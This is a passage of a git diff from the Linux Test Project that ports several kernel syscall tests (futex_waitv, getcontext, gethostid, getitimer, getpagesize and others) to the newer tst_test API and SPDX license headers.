+	waitv_allocated = tst_variant + 1;
+}
+
+static void cleanup(void)
+{
+	int i;
+
+	if (waitv_allocated != (tst_variant + 1))
+		return;
+
+	for (i = 0; i < numfutex; i++) {
+		if (!waitv[i].uaddr)
+			continue;
+
+		SAFE_SHMDT((void *)(uintptr_t)waitv[i].uaddr);
+		SAFE_SHMCTL(shmids[i], IPC_RMID, NULL);
+	}
+}
+
+static void *threaded(LTP_ATTRIBUTE_UNUSED void *arg)
+{
+	struct futex_test_variants tv = futex_variant();
+
+	do {
+		TEST(futex_wake(tv.fntype, (void *)(uintptr_t)waitv[numfutex - 1].uaddr,
+			1, 0));
+		if (TST_RET < 0) {
+			tst_brk(TBROK | TTERRNO,
+				"futex_wake private returned: %ld", TST_RET);
+		}
+		usleep(1000);
+	} while (TST_RET < 1);
+
+	return NULL;
+}
+
+static void run(void)
+{
+	struct timespec to;
+	pthread_t t;
+
+	SAFE_PTHREAD_CREATE(&t, NULL, threaded, NULL);
+
+	/* setting absolute timeout for futex2 */
+	SAFE_CLOCK_GETTIME(CLOCK_MONOTONIC, &to);
+	to.tv_sec += 5;
+
+	TEST(futex_waitv(waitv, numfutex, 0, &to, CLOCK_MONOTONIC));
+	if (TST_RET < 0) {
+		tst_brk(TBROK | TTERRNO, "futex_waitv returned: %ld", TST_RET);
+	} else if (TST_RET != numfutex - 1) {
+		tst_res(TFAIL, "futex_waitv returned: %ld, expecting %d",
+			TST_RET, numfutex - 1);
+	}
+
+	SAFE_PTHREAD_JOIN(t, NULL);
+	tst_res(TPASS, "futex_waitv returned correctly");
+}
+
+static struct tst_test test = {
+	.test_all = run,
+	.setup = setup,
+	.cleanup = cleanup,
+	.min_kver = "5.16",
+	.test_variants = FUTEX_VARIANTS,
+	.options =
+		(struct tst_option[]){
+			{ "n:", &str_numfutex, "Number of futex (default 30)" },
+			{},
+		},
+};
diff --git a/testcases/kernel/syscalls/futex/futex_wake04.c b/testcases/kernel/syscalls/futex/futex_wake04.c
index 2260a39..110c628 100644
--- a/testcases/kernel/syscalls/futex/futex_wake04.c
+++ b/testcases/kernel/syscalls/futex/futex_wake04.c
@@ -48,9 +48,6 @@
 
 static void setup(void)
 {
-	if (tst_hugepages == 0)
-		tst_brk(TCONF, "No enough hugepages for testing.");
-
 	struct futex_test_variants *tv = &variants[tst_variant];
 
 	tst_res(TINFO, "Testing variant: %s", tv->desc);
@@ -135,5 +132,5 @@
 	.needs_root = 1,
 	.min_kver = "2.6.32",
 	.needs_tmpdir = 1,
-	.request_hugepages = 1,
+	.hugepages = {1, TST_NEEDS},
 };
diff --git a/testcases/kernel/syscalls/futex/futextest.h b/testcases/kernel/syscalls/futex/futextest.h
index 3f2f36f..fd10885 100644
--- a/testcases/kernel/syscalls/futex/futextest.h
+++ b/testcases/kernel/syscalls/futex/futextest.h
@@ -10,58 +10,17 @@
  *      Darren Hart <dvhltc@us.ibm.com>
  */
 
-#ifndef _FUTEXTEST_H
-#define _FUTEXTEST_H
+#ifndef FUTEXTEST_H
+#define FUTEXTEST_H
 
 #include <unistd.h>
 #include <sys/syscall.h>
 #include <sys/types.h>
-#include <linux/futex.h>
 #include "lapi/futex.h"
 #include "tst_timer.h"
 
 #define FUTEX_INITIALIZER 0
 
-#ifndef FUTEX_CMP_REQUEUE
-# define FUTEX_CMP_REQUEUE	4
-#endif
-#ifndef FUTEX_WAKE_OP
-# define FUTEX_WAKE_OP		5
-#endif
-#ifndef FUTEX_LOCK_PI
-# define FUTEX_LOCK_PI		6
-#endif
-#ifndef FUTEX_UNLOCK_PI
-# define FUTEX_UNLOCK_PI	7
-#endif
-#ifndef FUTEX_WAIT_BITSET
-# define FUTEX_WAIT_BITSET	9
-#endif
-#ifndef FUTEX_WAKE_BITSET
-# define FUTEX_WAKE_BITSET	10
-#endif
-#ifndef FUTEX_WAIT_REQUEUE_PI
-# define FUTEX_WAIT_REQUEUE_PI	11
-#endif
-#ifndef FUTEX_CMP_REQUEUE_PI
-# define FUTEX_CMP_REQUEUE_PI	12
-#endif
-#ifndef FUTEX_PRIVATE_FLAG
-# define FUTEX_PRIVATE_FLAG	128
-#endif
-#ifndef FUTEX_WAIT_REQUEUE_PI_PRIVATE
-# define FUTEX_WAIT_REQUEUE_PI_PRIVATE	(FUTEX_WAIT_REQUEUE_PI | \
-					 FUTEX_PRIVATE_FLAG)
-#endif
-#ifndef FUTEX_REQUEUE_PI_PRIVATE
-# define FUTEX_CMP_REQUEUE_PI_PRIVATE	(FUTEX_CMP_REQUEUE_PI | \
-					 FUTEX_PRIVATE_FLAG)
-#endif
-
-#ifndef FUTEX_CLOCK_REALTIME
-# define FUTEX_CLOCK_REALTIME 256
-#endif
-
 enum futex_fn_type {
 	FUTEX_FN_FUTEX,
 	FUTEX_FN_FUTEX64,
@@ -318,4 +277,4 @@
 	return newval;
 }
 
-#endif
+#endif /* _FUTEXTEST_H */
diff --git a/testcases/kernel/syscalls/futimesat/futimesat01.c b/testcases/kernel/syscalls/futimesat/futimesat01.c
index e3b1011..9b1e75b 100644
--- a/testcases/kernel/syscalls/futimesat/futimesat01.c
+++ b/testcases/kernel/syscalls/futimesat/futimesat01.c
@@ -58,7 +58,7 @@
 
 int myfutimesat(int dirfd, const char *filename, struct timeval *times)
 {
-	return ltp_syscall(__NR_futimesat, dirfd, filename, times);
+	return tst_syscall(__NR_futimesat, dirfd, filename, times);
 }
 
 int main(int ac, char **av)
diff --git a/testcases/kernel/syscalls/get_robust_list/get_robust_list01.c b/testcases/kernel/syscalls/get_robust_list/get_robust_list01.c
index 222dc6f..1ff37bc 100644
--- a/testcases/kernel/syscalls/get_robust_list/get_robust_list01.c
+++ b/testcases/kernel/syscalls/get_robust_list/get_robust_list01.c
@@ -94,7 +94,7 @@
 		 * argument.
 		 */
 
-		TEST(ltp_syscall(__NR_get_robust_list, 0,
+		TEST(tst_syscall(__NR_get_robust_list, 0,
 				      (struct robust_list_head *)&head,
 				      NULL));
 
@@ -110,7 +110,7 @@
 			tst_resm(TFAIL,
 				 "get_robust_list succeeded unexpectedly");
 
-		TEST(ltp_syscall(__NR_get_robust_list, 0,
+		TEST(tst_syscall(__NR_get_robust_list, 0,
 				      NULL,
 				      &len_ptr));
 
@@ -131,7 +131,7 @@
 		 * find the task specified by the pid argument.
 		 */
 
-		TEST(ltp_syscall(__NR_get_robust_list, unused_pid,
+		TEST(tst_syscall(__NR_get_robust_list, unused_pid,
 				      (struct robust_list_head *)&head,
 				      &len_ptr));
 
@@ -147,7 +147,7 @@
 			tst_resm(TFAIL,
 				 "get_robust_list succeeded unexpectedly");
 
-		TEST(ltp_syscall(__NR_get_robust_list, 0,
+		TEST(tst_syscall(__NR_get_robust_list, 0,
 				      (struct robust_list_head **)&head,
 				      &len_ptr));
 
@@ -159,7 +159,7 @@
 
 		SAFE_SETUID(cleanup, 1);
 
-		TEST(ltp_syscall(__NR_get_robust_list, 1,
+		TEST(tst_syscall(__NR_get_robust_list, 1,
 				      (struct robust_list_head *)&head,
 				      &len_ptr));
 
diff --git a/testcases/kernel/syscalls/getcontext/getcontext01.c b/testcases/kernel/syscalls/getcontext/getcontext01.c
index 48e7890..5896c38 100644
--- a/testcases/kernel/syscalls/getcontext/getcontext01.c
+++ b/testcases/kernel/syscalls/getcontext/getcontext01.c
@@ -1,89 +1,48 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
 /*
  * Copyright (c) Wipro Technologies Ltd, 2005.  All Rights Reserved.
- *  Author: Prashant P Yendigeri <prashant.yendigeri@wipro.com>
- *
- * This program is free software; you can redistribute it and/or modify it
- * under the terms of version 2 of the GNU General Public License as
- * published by the Free Software Foundation.
- *
- * This program is distributed in the hope that it would be useful, but
- * WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
- *
- * You should have received a copy of the GNU General Public License along
- * with this program; if not, write the Free Software Foundation, Inc.,
- * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
+ *               Author: Prashant P Yendigeri <prashant.yendigeri@wipro.com>
+ * Copyright (C) 2022 SUSE LLC Andrea Cervesato <andrea.cervesato@suse.com>
  */
 
-#include <features.h>
+/*\
+ * [Description]
+ *
+ * Basic test for getcontext().
+ *
+ * Calls a getcontext() then jumps back with a setcontext().
+ */
 
-#include <stdio.h>
-#include <unistd.h>
-#include <errno.h>
+#include "config.h"
+#include "tst_test.h"
+
+#ifdef HAVE_GETCONTEXT
+
 #include <ucontext.h>
 
-#include "test.h"
+static volatile int flag;
 
-char *TCID = "getcontext01";
-
-#if !defined(__UCLIBC__)
-
-static void setup(void);
-static void cleanup(void);
-
-int TST_TOTAL = 1;
-
-static void test_getcontext(void)
+static void run(void)
 {
 	ucontext_t ptr;
 
-	TEST(getcontext(&ptr));
+	flag = 0;
 
-	if (TEST_RETURN == -1) {
-		if (errno == ENOSYS)
-			tst_resm(TCONF, "getcontext not implemented in libc");
-		else
-			tst_resm(TFAIL | TTERRNO, "getcontext failed");
-	} else if (TEST_RETURN == 0) {
-		tst_resm(TPASS, "getcontext passed");
-	} else {
-		tst_resm(TFAIL, "Unexpected return value %li", TEST_RETURN);
-	}
+	TST_EXP_PASS(getcontext(&ptr), "getcontext() flag=%i", flag);
+
+	if (flag)
+		return;
+
+	flag = 1;
+	setcontext(&ptr);
+
+	tst_res(TFAIL, "setcontext() did return");
 }
 
-int main(int ac, char **av)
-{
-	int lc;
+static struct tst_test test = {
+	.test_all = run,
+};
 
-	tst_parse_opts(ac, av, NULL, NULL);
-
-	setup();
-
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-
-		tst_count = 0;
-
-		test_getcontext();
-	}
-
-	cleanup();
-	tst_exit();
-}
-
-static void setup(void)
-{
-	tst_sig(NOFORK, DEF_HANDLER, cleanup);
-
-	TEST_PAUSE;
-}
-
-static void cleanup(void)
-{
-}
-
-#else /* systems that dont support obsolete getcontext */
-int main(void)
-{
-	tst_brkm(TCONF, NULL, "system doesn't have getcontext support");
-}
+#else
+TST_TEST_TCONF("system doesn't have getcontext support");
 #endif
diff --git a/testcases/kernel/syscalls/getdomainname/getdomainname01.c b/testcases/kernel/syscalls/getdomainname/getdomainname01.c
index d40abc8..17a9392 100644
--- a/testcases/kernel/syscalls/getdomainname/getdomainname01.c
+++ b/testcases/kernel/syscalls/getdomainname/getdomainname01.c
@@ -1,132 +1,30 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
 /*
  * Copyright (c) Wipro Technologies Ltd, 2002.  All Rights Reserved.
- *
- * This program is free software; you can redistribute it and/or modify it
- * under the terms of version 2 of the GNU General Public License as
- * published by the Free Software Foundation.
- *
- * This program is distributed in the hope that it would be useful, but
- * WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
- *
- * You should have received a copy of the GNU General Public License along
- * with this program; if not, write the Free Software Foundation, Inc.,
- * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
- *
+ *   AUTHOR: Saji Kumar.V.R <saji.kumar@wipro.com>
  */
-/**********************************************************
- *
- *    TEST IDENTIFIER	: getdomainname01
- *
- *    EXECUTED BY	: anyone
- *
- *    TEST TITLE	: Basic test for getdomainname(2)
- *
- *    TEST CASE TOTAL	: 1
- *
- *    AUTHOR		: Saji Kumar.V.R <saji.kumar@wipro.com>
- *
- *    SIGNALS
- *	Uses SIGUSR1 to pause before test if option set.
- *	(See the parse_opts(3) man page).
- *
- *    DESCRIPTION
- *	This is a Phase I test for the getdomainname(2) system call.
- *	It is intended to provide a limited exposure of the system call.
- *
- *	Setup:
- *	  Setup signal handling.
- *	  Pause for SIGUSR1 if option specified.
- *
- *	Test:
- *	 Loop if the proper options are given.
- *	  Execute system call
- *	  Check return code, if system call failed (return=-1)
- *		Log the errno and Issue a FAIL message.
- *	  Otherwise, Issue a PASS message.
- *
- *	Cleanup:
- *	  Print errno log and/or timing stats if options given
- *
- * USAGE:  <for command-line>
- *  getdomainname01  [-c n] [-e] [-i n] [-I x] [-P x] [-t] [-h] [-f] [-p]
- *			where,  -c n : Run n copies concurrently.
- *				-e   : Turn on errno logging.
- *				-h   : Show help screen
- *				-f   : Turn off functional testing
- *				-i n : Execute test n times.
- *				-I x : Execute test for x seconds.
- *				-p   : Pause for SIGUSR1 before starting
- *				-P x : Pause for x seconds between iterations.
- *				-t   : Turn on syscall timing.
- *
- ****************************************************************/
 
-#include <errno.h>
+/*\
+ * [Description]
+ *
+ * Basic test for getdomainname(2)
+ *
+ * This is a Phase I test for the getdomainname(2) system call.
+ * It is intended to provide a limited exposure of the system call.
+ */
+
 #include <linux/utsname.h>
-#include "test.h"
+#include "tst_test.h"
 
 #define MAX_NAME_LEN __NEW_UTS_LEN
 
-static void setup();
-static void cleanup();
-
-char *TCID = "getdomainname01";
-int TST_TOTAL = 1;
-
-static char domain_name[MAX_NAME_LEN];
-
-int main(int ac, char **av)
+static void verify_getdomainname(void)
 {
+	char domain_name[MAX_NAME_LEN];
 
-	int lc;
-
-	tst_parse_opts(ac, av, NULL, NULL);
-
-	setup();
-
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-
-		tst_count = 0;
-
-		/*
-		 * Call getdomainname(2)
-		 */
-		TEST(getdomainname(domain_name, sizeof(domain_name)));
-
-		/* check return code */
-		if (TEST_RETURN == -1) {
-			tst_resm(TFAIL, "getdomainname() Failed, errno = %d :"
-				 " %s", TEST_ERRNO, strerror(TEST_ERRNO));
-		} else {
-			tst_resm(TPASS, "getdomainname() returned %ld ",
-				 TEST_RETURN);
-		}
-
-	}
-
-	/* cleanup and exit */
-	cleanup();
-
-	tst_exit();
-
+	TST_EXP_PASS(getdomainname(domain_name, sizeof(domain_name)));
 }
 
-/* setup() - performs all ONE TIME setup for this test */
-void setup(void)
-{
-
-	tst_sig(NOFORK, DEF_HANDLER, cleanup);
-
-	TEST_PAUSE;
-
-}
-
-/*
- *cleanup() -  performs all ONE TIME cleanup for this test at
- *		completion or premature exit.
- */
-void cleanup(void)
-{
-
-}
+static struct tst_test test = {
+        .test_all = verify_getdomainname,
+};
diff --git a/testcases/kernel/syscalls/gethostid/gethostid01.c b/testcases/kernel/syscalls/gethostid/gethostid01.c
index 241335a..c176e51 100644
--- a/testcases/kernel/syscalls/gethostid/gethostid01.c
+++ b/testcases/kernel/syscalls/gethostid/gethostid01.c
@@ -1,258 +1,73 @@
+// SPDX-License-Identifier: GPL-2.0
 /*
  * Copyright (c) 2000 Silicon Graphics, Inc.  All Rights Reserved.
+ * Copyright (c) 2021 Xie Ziyao <xieziyao@huawei.com>
  *
- * This program is free software; you can redistribute it and/or modify it
- * under the terms of version 2 of the GNU General Public License as
- * published by the Free Software Foundation.
+ * AUTHOR: William Roske
+ * CO-PILOT: Dave Fenner
  *
- * This program is distributed in the hope that it would be useful, but
- * WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
+ *   12/2002 Paul Larson: Add functional test to compare output from hostid
+ *   command and gethostid().
  *
- * Further, this software is distributed without any warranty that it is
- * free of the rightful claim of any third person regarding infringement
- * or the like.  Any license provided herein, whether implied or
- * otherwise, applies only to this software file.  Patent licenses, if
- * any, provided herein do not apply to combinations of this program with
- * other software, or any other product whatsoever.
+ *   01/2003 Robbie Williamson: Add code to handle distros that add "0x" to
+ *   beginning of `hostid` output.
  *
- * You should have received a copy of the GNU General Public License along
- * with this program; if not, write the Free Software Foundation, Inc.,
- * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
+ *   01/2006  Marty Ridgeway: Correct 64 bit check so the second 64 bit check
+ *   doesn't clobber the first 64 bit check.
  *
- * Contact information: Silicon Graphics, Inc., 1600 Amphitheatre Pkwy,
- * Mountain View, CA  94043, or:
- *
- * http://www.sgi.com
- *
- * For further information regarding this notice, see:
- *
- * http://oss.sgi.com/projects/GenInfo/NoticeExplan/
- *
+ *   07/2021 Xie Ziyao: Rewrite with newlib and use/test sethostid.
  */
-/* $Id: gethostid01.c,v 1.23 2009/03/23 13:35:42 subrata_modak Exp $ */
-/**********************************************************
- *
- *    OS Test - Silicon Graphics, Inc.
- *
- *    TEST IDENTIFIER	: gethostid01
- *
- *    EXECUTED BY	: anyone
- *
- *    TEST TITLE	: Basic test for gethostid(2)
- *
- *    PARENT DOCUMENT	: usctpl01
- *
- *    TEST CASE TOTAL	: 1
- *
- *    WALL CLOCK TIME	: 1
- *
- *    CPU TYPES		: ALL
- *
- *    AUTHOR		: William Roske
- *
- *    CO-PILOT		: Dave Fenner
- *
- *    DATE STARTED	: 03/30/92
- *
- *    INITIAL RELEASE	: UNICOS 7.0
- *
- *    TEST CASES
- *
- * 	1.) gethostid(2) returns...(See Description)
- *
- *    INPUT SPECIFICATIONS
- * 	The standard options for system call tests are accepted.
- *	(See the parse_opts(3) man page).
- *
- *    DURATION
- * 	Terminates - with frequency and infinite modes.
- *
- *    SIGNALS
- * 	Uses SIGUSR1 to pause before test if option set.
- * 	(See the parse_opts(3) man page).
- *
- *    RESOURCES
- * 	None
- *
- *    ENVIRONMENTAL NEEDS
- *      No run-time environmental needs.
- *
- *    SPECIAL PROCEDURAL REQUIREMENTS
- * 	None
- *
- *    INTERCASE DEPENDENCIES
- * 	None
- *
- *    DETAILED DESCRIPTION
- *	This is a Phase I test for the gethostid(2) system call.  It is intended
- *	to provide a limited exposure of the system call, for now.  It
- *	should/will be extended when full functional tests are written for
- *	gethostid(2).
- *
- * 	Setup:
- * 	  Setup signal handling.
- *	  Pause for SIGUSR1 if option specified.
- *
- * 	Test:
- *	 Loop if the proper options are given.
- * 	  Execute system call
- *	  Check return code, if system call failed (return=-1)
- *		Log the errno and Issue a FAIL message.
- *	  Otherwise, Issue a PASS message.
- *
- * 	Cleanup:
- * 	  Print errno log and/or timing stats if options given
- *
- * 	History:
- * 	  12/2002 Paul Larson - Added functional test to compare
- * 	  	output from hostid command and gethostid()
- *
- *        01/2003 Robbie Williamson - Added code to handle
- *              distros that add "0x" to beginning of `hostid`
- *              output.
- *
- *   01/31/2006  Marty Ridgeway - Corrected 64 bit check so
- *              the second 64 bit check doesn't clobber the first 64 bit
- *              check
- *
- *#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#**/
 
-#include <errno.h>
-#include <string.h>
-#include <signal.h>
-#include <unistd.h>
+/*\
+ * [Description]
+ *
+ * Test the basic functionality of the sethostid() and gethostid() system call.
+ */
 
-#include "test.h"
+#include "tst_test.h"
+#include "config.h"
 
-#define HOSTIDLEN 40
-/* Bitmasks for the 64 bit operating system checks */
-#define FIRST_64_CHKBIT  0x01
-#define SECOND_64_CHKBIT 0x02
+#ifdef HAVE_SETHOSTID
 
-void setup();
-void cleanup();
+static long origin;
+static long tc[] = {0x00000000, 0x0000ffff};
 
-char *TCID = "gethostid01";
-int TST_TOTAL = 1;
-
-int main(int ac, char **av)
+static void run(unsigned int i)
 {
-	int lc, i, j;		/* loop counters */
-	int bit_64 = 0;
-	char *result;
-	char name[HOSTIDLEN], name2[HOSTIDLEN], hostid[HOSTIDLEN],
-	    hostid2[HOSTIDLEN], *hostid3, hex[2] = "0x";
-	char hex_64[8] = "ffffffff";
-	FILE *fp;
+	TST_EXP_PASS(sethostid(tc[i]), "set hostid to %ld", tc[i]);
+	TEST(gethostid());
 
-	tst_parse_opts(ac, av, NULL, NULL);
+	if (TST_RET == -1)
+		tst_res(TFAIL | TTERRNO, "gethostid failed");
 
-	setup();
-
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-
-		tst_count = 0;
-
-		TEST(gethostid());
-
-		if (TEST_RETURN == -1) {
-			tst_resm(TFAIL | TTERRNO, "gethostid failed");
-			continue;	/* next loop for MTKERNEL */
-		}
-		sprintf(hostid, "%08lx", TEST_RETURN);
-
-		if (system("hostid > hostid.x") == -1)
-			tst_brkm(TFAIL, cleanup,
-				 "system() returned errno %d", errno);
-		if ((fp = fopen("hostid.x", "r")) == NULL)
-			tst_brkm(TFAIL, cleanup, "fopen failed");
-		if (fgets(name, HOSTIDLEN, fp) == NULL)
-			tst_brkm(TFAIL, cleanup, "fgets failed");
-		fclose(fp);
-
-		name[strlen(name) - 1] = 0;
-
-		if (strstr(hostid, "000000"))
-			tst_resm(TCONF, "Host ID has not been set.");
-
-		if (strcmp(name, hostid) == 0) {
-			tst_resm(TPASS,
-				 "Hostid command and gethostid both report "
-				 "hostid is %s", hostid);
-		} else {
-
-			/*
-			 * Some distros add an "0x" to the front of the
-			 * `hostid` output. We compare the first 2
-			 * characters of the `hostid` output with "0x",
-			 * if it's equal, remove these first 2
-			 * characters & re-test. -RW
-			 */
-			if (name[0] == hex[0] && name[1] == hex[1])
-				for (i = 0; i < 38; i++)
-					name2[i] = name[i + 2];
-			else
-				strncpy(name2, name, HOSTIDLEN);
-
-			/*
-			 * This code handles situations where ffffffff
-			 * is appended. Fixed to not clobber the first
-			 * check with the 2nd check MR
-			 */
-
-			if (0 == strncmp(hostid, hex_64, 8))
-				bit_64 |= FIRST_64_CHKBIT;
-
-			if (0 == strncmp(name2, hex_64, 8))
-				bit_64 |= SECOND_64_CHKBIT;
-
-			if (bit_64 & FIRST_64_CHKBIT)
-				for (j = 0; j < 8; j++)
-					hostid2[j] = hostid[j + 8];
-			else
-				strncpy(hostid2, hostid,
-					strlen(hostid) + 1);
-
-			if (bit_64 & SECOND_64_CHKBIT)
-				for (j = 0; j < 9; j++)
-					name2[j] = name2[j + 8];
-
-			if ((result = strstr(hostid2, name2)) != NULL) {
-				hostid3 = strdup(name2);
-
-				tst_resm(TPASS,
-					 "Hostid command reports "
-					 "hostid is %s, and gethostid "
-					 "reports %s", name2, hostid3);
-			} else
-				tst_resm(TFAIL,
-					 "Hostid command reports "
-					 "hostid is %s, but gethostid "
-					 "reports %s", name2, hostid2);
-		}
-	}
-
-	cleanup();
-	tst_exit();
+	if (tc[i] == TST_RET)
+		tst_res(TPASS, "hostid is %ld, expected %ld", TST_RET, tc[i]);
+	else
+		tst_res(TFAIL, "hostid is %ld, expected %ld", TST_RET, tc[i]);
 }
 
-void setup(void)
+static void setup(void)
 {
-	char path[2048];
+	TEST(gethostid());
+	if (TST_RET == -1)
+		tst_brk(TFAIL | TTERRNO, "gethostid failed");
 
-	if (tst_get_path("hostid", path, sizeof(path)))
-		tst_brkm(TCONF, NULL, "Couldn't find hostid in $PATH");
-
-	tst_sig(FORK, DEF_HANDLER, cleanup);
-
-	TEST_PAUSE;
-
-	tst_tmpdir();
+	tst_res(TINFO, "get original hostid: %ld", origin = TST_RET);
 }
 
-void cleanup(void)
+static void cleanup(void)
 {
-	tst_rmdir();
-
+	TST_EXP_PASS(sethostid(origin), "set hostid to %ld", origin);
 }
+
+static struct tst_test test = {
+	.test = run,
+	.setup = setup,
+	.cleanup = cleanup,
+	.needs_root = 1,
+	.tcnt = ARRAY_SIZE(tc),
+};
+
+#else
+TST_TEST_TCONF("sethostid is undefined.");
+#endif
diff --git a/testcases/kernel/syscalls/getitimer/getitimer02.c b/testcases/kernel/syscalls/getitimer/getitimer02.c
index b9c0314..a91e643 100644
--- a/testcases/kernel/syscalls/getitimer/getitimer02.c
+++ b/testcases/kernel/syscalls/getitimer/getitimer02.c
@@ -1,99 +1,30 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
 /*
  * Copyright (c) International Business Machines  Corp., 2001
- *
- * This program is free software;  you can redistribute it and/or modify
- * it under the terms of the GNU General Public License as published by
- * the Free Software Foundation; either version 2 of the License, or
- * (at your option) any later version.
- *
- * This program is distributed in the hope that it will be useful,
- * but WITHOUT ANY WARRANTY;  without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
- * the GNU General Public License for more details.
- *
- * You should have received a copy of the GNU General Public License
- * along with this program;  if not, write to the Free Software
- * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+ * 03/2001 - Written by Wayne Boyer
  */
 
-/*
-  HISTORY
-  03/2001 - Written by Wayne Boyer
-
-  TEST ITEMS:
-  Check that a getitimer() call fails as expected
-  with an incorrect second argument.
-*/
-
-
-#include "test.h"
+/*\
+ * [Description]
+ *
+ * Check that a getitimer() call fails with EFAULT with invalid itimerval pointer.
+ */
 
 #include <errno.h>
 #include <sys/time.h>
+#include "tst_test.h"
+#include "lapi/syscalls.h"
 
-char *TCID = "getitimer02";
-int TST_TOTAL = 1;
-
-#if !defined(UCLINUX)
-
-static void cleanup(void);
-static void setup(void);
-
-int main(int ac, char **av)
+static int sys_getitimer(int which, void *curr_value)
 {
-	int lc;
-
-	tst_parse_opts(ac, av, NULL, NULL);
-
-	setup();
-
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-		tst_count = 0;
-
-		/* call with a bad address */
-		TEST(getitimer(ITIMER_REAL, (struct itimerval *)-1));
-
-		if (TEST_RETURN == 0) {
-			tst_resm(TFAIL, "call failed to produce "
-				 "expected error - errno = %d - %s",
-				 TEST_ERRNO, strerror(TEST_ERRNO));
-			continue;
-		}
-
-		switch (TEST_ERRNO) {
-		case EFAULT:
-			tst_resm(TPASS, "expected failure - errno = %d - %s",
-				 TEST_ERRNO, strerror(TEST_ERRNO));
-			break;
-		default:
-			tst_resm(TFAIL, "call failed to produce "
-				 "expected error - errno = %d - %s",
-				 TEST_ERRNO, strerror(TEST_ERRNO));
-		}
-	}
-
-	cleanup();
-
-	tst_exit();
+	return tst_syscall(__NR_getitimer, which, curr_value);
 }
 
-static void setup(void)
+static void verify_getitimer(void)
 {
-	tst_sig(NOFORK, DEF_HANDLER, cleanup);
-
-	TEST_PAUSE;
+	TST_EXP_FAIL(sys_getitimer(ITIMER_REAL, (struct itimerval *)-1), EFAULT);
 }
 
-static void cleanup(void)
-{
-}
-
-#else
-
-int main(void)
-{
-	tst_resm(TINFO, "test is not available on uClinux");
-	tst_exit();
-}
-
-#endif /* if !defined(UCLINUX) */
+static struct tst_test test = {
+	.test_all = verify_getitimer,
+};
diff --git a/testcases/kernel/syscalls/getpagesize/getpagesize01.c b/testcases/kernel/syscalls/getpagesize/getpagesize01.c
index 0d04658..2ba8ba7 100644
--- a/testcases/kernel/syscalls/getpagesize/getpagesize01.c
+++ b/testcases/kernel/syscalls/getpagesize/getpagesize01.c
@@ -1,105 +1,31 @@
+// SPDX-License-Identifier: GPL-2.0
 /*
  * Copyright (c) International Business Machines  Corp., 2005
+ *   Robbie Williamson <robbiew@us.ibm.com>
+ *
  * Copyright (c) Wipro Technologies Ltd, 2005.  All Rights Reserved.
+ *   Prashant P Yendigeri <prashant.yendigeri@wipro.com>
  *
- * This program is free software; you can redistribute it and/or modify it
- * under the terms of version 2 of the GNU General Public License as
- * published by the Free Software Foundation.
- *
- * This program is distributed in the hope that it would be useful, but
- * WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
- *
- * You should have received a copy of the GNU General Public License along
- * with this program; if not, write the Free Software Foundation, Inc.,
- * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
- *
+ * Copyright (c) 2022 SUSE LLC Avinesh Kumar <avinesh.kumar@suse.com>
  */
-/**********************************************************
- *
- *    TEST IDENTIFIER   : getpagesize01
- *
- *    EXECUTED BY       : root / superuser
- *
- *    TEST TITLE        : Basic tests for getpagesize(2)
- *
- *    TEST CASE TOTAL   : 1
- *
- *    AUTHOR            : Prashant P Yendigeri
- *                        <prashant.yendigeri@wipro.com>
- *			  Robbie Williamson
- *			  <robbiew@us.ibm.com>
- *
- *    DESCRIPTION
- *      This is a Phase I test for the getpagesize(2) system call.
- *      It is intended to provide a limited exposure of the system call.
- *
- **********************************************************/
 
-#include <stdio.h>
-#include <unistd.h>
-#include <errno.h>
+/*\
+ * [Description]
+ *
+ * Verify that getpagesize(2) returns the number of bytes in a
+ * memory page as expected.
+ */
 
-#include "test.h"
+#include "tst_test.h"
 
-void setup();
-void cleanup();
-
-char *TCID = "getpagesize01";
-int TST_TOTAL = 1;
-
-int main(int ac, char **av)
+static void run(void)
 {
-	int lc;
+	int pagesize_sysconf;
 
-	int size, ret_sysconf;
-	/***************************************************************
-	 * parse standard options
-	 ***************************************************************/
-	tst_parse_opts(ac, av, NULL, NULL);
-
-	setup();
-
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-
-		tst_count = 0;
-
-		TEST(getpagesize());
-
-		if (TEST_RETURN == -1) {
-			tst_resm(TFAIL | TTERRNO, "getpagesize failed");
-			continue;	/* next loop for MTKERNEL */
-		}
-
-		size = getpagesize();
-		tst_resm(TINFO, "Page Size is %d", size);
-		ret_sysconf = sysconf(_SC_PAGESIZE);
-#ifdef DEBUG
-		tst_resm(TINFO,
-			 "Checking whether getpagesize returned same as sysconf");
-#endif
-		if (size == ret_sysconf)
-			tst_resm(TPASS,
-				 "getpagesize - Page size returned %d",
-				 ret_sysconf);
-		else
-			tst_resm(TFAIL,
-				 "getpagesize - Page size returned %d",
-				 ret_sysconf);
-	}
-
-	cleanup();
-	tst_exit();
+	pagesize_sysconf = sysconf(_SC_PAGESIZE);
+	TST_EXP_VAL(getpagesize(), pagesize_sysconf);
 }
 
-void setup(void)
-{
-
-	tst_sig(NOFORK, DEF_HANDLER, cleanup);
-
-	TEST_PAUSE;
-}
-
-void cleanup(void)
-{
-}
+static struct tst_test test = {
+	.test_all = run
+};
diff --git a/testcases/kernel/syscalls/getrandom/getrandom01.c b/testcases/kernel/syscalls/getrandom/getrandom01.c
index ccbd286..695f904 100644
--- a/testcases/kernel/syscalls/getrandom/getrandom01.c
